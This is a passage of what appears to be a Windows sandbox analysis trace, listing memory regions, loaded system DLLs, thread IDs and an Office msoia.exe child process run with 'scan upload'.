0x7fefd5f0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2764 start_va = 0x7fefd620000 end_va = 0x7fefd66dfff entry_point = 0x7fefd620000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 2765 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2766 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2767 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2768 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2769 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Thread: id = 145 os_tid = 0x744 Thread: id = 148 os_tid = 0x600 Thread: id = 149 os_tid = 0x220 Thread: id = 152 os_tid = 0x708 Thread: id = 156 os_tid = 0xb54 Thread: id = 176 os_tid = 0xb94 Thread: id = 177 os_tid = 0x780 Thread: id = 181 os_tid = 0x14c Thread: id = 182 os_tid = 0x410 Thread: id = 183 os_tid = 0xb98 Thread: id = 184 os_tid = 0x508 Thread: id = 186 os_tid = 0xb5c Thread: id = 188 os_tid = 0xb4c Thread: id = 191 os_tid = 0xb48 Thread: id = 253 os_tid = 0x3f8 Process: id = "21" image_name = "msoia.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe" page_root = "0x1c396000" os_pid = "0x330" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x874" cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1843 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1844 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1845 start_va = 0x110000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1846 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1847 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1848 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1849 start_va = 0x13ff60000 end_va = 0x1402a1fff entry_point = 0x13ff60000 region_type = mapped_file name = "msoia.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe") Region: id = 1850 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1851 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1852 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1853 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1857 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1858 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1859 start_va = 0x40000 end_va = 0xa6fff entry_point = 0x40000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1860 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1861 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1862 start_va = 0x2d0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1863 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 1864 start_va = 0x460000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 1865 start_va = 0x560000 end_va = 0x6e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 1866 start_va = 0x6f0000 end_va = 0x870fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 1867 start_va = 0x880000 end_va = 0x1c7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 1868 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1869 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1870 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1871 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1872 start_va = 0x7fef8370000 end_va = 0x7fef8559fff entry_point = 0x7fef8370000 region_type = mapped_file name = "c2r64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll") Region: id = 1873 start_va = 0x7fef8560000 end_va = 0x7fef8799fff entry_point = 0x7fef8560000 region_type = mapped_file name = "appvisvsubsystems64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll") Region: id = 1874 start_va = 0x7fefaa80000 end_va = 0x7fefaa82fff entry_point = 0x7fefaa80000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 1875 start_va = 0x7fefaa90000 end_va = 0x7fefaa92fff entry_point = 0x7fefaa90000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 1876 start_va = 0x7fefaaa0000 end_va = 0x7fefaaa2fff entry_point = 0x7fefaaa0000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 1877 start_va = 0x7fefaab0000 end_va = 0x7fefaab2fff entry_point = 0x7fefaab0000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 1878 start_va = 0x7fefaac0000 end_va = 0x7fefaac4fff entry_point = 0x7fefaac0000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 1879 start_va = 0x7fefaad0000 end_va = 0x7fefaad4fff entry_point = 0x7fefaad0000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 1880 start_va = 0x7fefaae0000 end_va = 0x7fefaae2fff entry_point = 0x7fefaae0000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 1881 start_va = 0x7fefaaf0000 end_va = 0x7fefab8bfff entry_point = 0x7fefaaf0000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 1882 start_va = 0x7fefab90000 end_va = 0x7fefab93fff entry_point = 0x7fefab90000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 1883 start_va = 0x7fefaba0000 end_va = 0x7fefaba3fff entry_point = 0x7fefaba0000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 1884 start_va = 0x7fefabb0000 end_va = 0x7fefabb2fff entry_point = 0x7fefabb0000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 1885 start_va = 0x7fefabc0000 end_va = 0x7fefabc3fff entry_point = 0x7fefabc0000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 1886 start_va = 0x7fefabd0000 end_va = 0x7fefabd2fff entry_point = 0x7fefabd0000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 1887 start_va = 0x7fefabe0000 end_va = 0x7fefabe2fff entry_point = 0x7fefabe0000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 1888 start_va = 0x7fefabf0000 end_va = 0x7fefabf2fff entry_point = 0x7fefabf0000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1889 start_va = 0x7fefac00000 end_va = 0x7fefac02fff entry_point = 0x7fefac00000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 1890 start_va = 0x7fefac10000 end_va = 0x7fefac12fff entry_point = 0x7fefac10000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 1891 start_va = 0x7fefac20000 end_va = 0x7fefac22fff entry_point = 0x7fefac20000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 1892 start_va = 0x7fefac30000 end_va = 0x7fefad21fff entry_point = 0x7fefac30000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1893 start_va = 0x7fefad30000 end_va = 0x7fefad33fff entry_point = 0x7fefad30000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 1894 start_va = 0x7fefad40000 end_va = 0x7fefad55fff entry_point = 0x7fefad40000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 1895 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1896 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1897 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1898 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1899 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1900 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1901 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1902 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1903 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1904 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1905 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1906 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1907 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1908 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1909 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1910 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1968 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1969 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1970 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1971 start_va = 0x1c80000 end_va = 0x1f4efff entry_point = 0x1c80000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1972 start_va = 0x1f50000 end_va = 0x2342fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f50000" filename = "" Region: id = 1973 start_va = 0x37c80000 end_va = 0x37c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000037c80000" filename = "" Region: id = 1975 start_va = 0x7febdd50000 end_va = 0x7febdd5ffff entry_point = 0x0 region_type = private name = "private_0x000007febdd50000" filename = "" Region: id = 2096 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2097 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2098 start_va = 0x2350000 end_va = 0x244ffff entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 2099 start_va = 0x2450000 end_va = 0x252efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002450000" filename = "" Region: id = 2100 start_va = 0x2530000 end_va = 0x25affff entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 2101 start_va = 0x25b0000 end_va = 0x26affff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 2102 start_va = 0x2730000 end_va = 0x282ffff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 2103 start_va = 0x28e0000 end_va = 0x29dffff entry_point = 0x0 region_type = private name = "private_0x00000000028e0000" filename = "" Region: id = 2104 start_va = 0x2a10000 end_va = 0x2b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 2105 start_va = 0x7fee75b0000 end_va = 0x7fee764ffff entry_point = 0x7fee75b0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 2106 start_va = 0x7fefa530000 end_va = 0x7fefa74cfff entry_point = 0x7fefa530000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 2107 start_va = 0x7fefa750000 end_va = 0x7fefaa65fff entry_point = 0x7fefa750000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 2108 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2109 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2110 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2111 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2112 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2113 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2114 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2115 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2116 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 2117 start_va = 0x2b10000 end_va = 0x2c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b10000" filename = "" Region: id = 2118 start_va = 0x2c90000 end_va = 0x2c9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c90000" filename = "" Region: id = 2119 start_va = 0x2da0000 end_va = 0x2e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002da0000" filename = "" Region: id = 2120 start_va = 0x2ff0000 end_va = 0x30effff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 2121 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2122 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2123 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2124 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2125 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2126 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2127 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2128 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2129 start_va = 0x2ca0000 end_va = 0x2d9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ca0000" filename = "" Region: id = 2130 start_va = 0x30f0000 end_va = 0x31effff entry_point = 0x0 region_type = private name = "private_0x00000000030f0000" filename = "" Region: id = 2131 start_va = 0x77e10000 end_va = 0x77e12fff entry_point = 0x77e10000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 2132 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2133 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2134 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2135 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 2136 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2137 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2138 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2270 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2271 start_va = 0x250000 end_va = 0x251fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 2272 start_va = 0x260000 end_va = 0x26bfff entry_point = 0x260000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 2273 start_va = 0x270000 end_va = 0x271fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2274 start_va = 0x280000 end_va = 0x287fff entry_point = 0x280000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 2275 start_va = 0x290000 end_va = 0x29ffff entry_point = 0x290000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 2276 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 2277 start_va = 0x2ec0000 end_va = 0x2fbffff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 2278 start_va = 0x3210000 end_va = 0x330ffff entry_point = 0x0 region_type = private name = "private_0x0000000003210000" filename = "" Region: id = 2279 start_va = 0x3310000 end_va = 0x3652fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003310000" filename = "" Region: id = 2280 start_va = 0x36c0000 end_va = 0x37bffff entry_point = 0x0 region_type = private name = "private_0x00000000036c0000" filename = "" Region: id = 2281 start_va = 